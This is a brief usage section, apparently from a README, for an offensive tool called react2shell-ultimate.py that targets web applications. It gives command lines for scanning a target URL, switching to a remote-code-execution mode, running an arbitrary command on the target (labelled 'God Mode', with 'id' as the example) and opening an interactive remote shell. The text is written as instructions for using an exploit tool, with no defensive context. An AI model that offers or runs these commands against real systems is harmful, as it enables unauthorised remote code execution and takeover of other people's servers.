Example Usage
# Basic scan
python3 react2shell-ultimate.py -u https://target.com

# RCE mode
python3 react2shell-ultimate.py -u https://target.com --mode rce

# Execute command (God Mode)
python3 react2shell-ultimate.py -u https://target.com --exec "id"

# Interactive shell
python3 react2shell-ultimate.py -u https://target.com --shell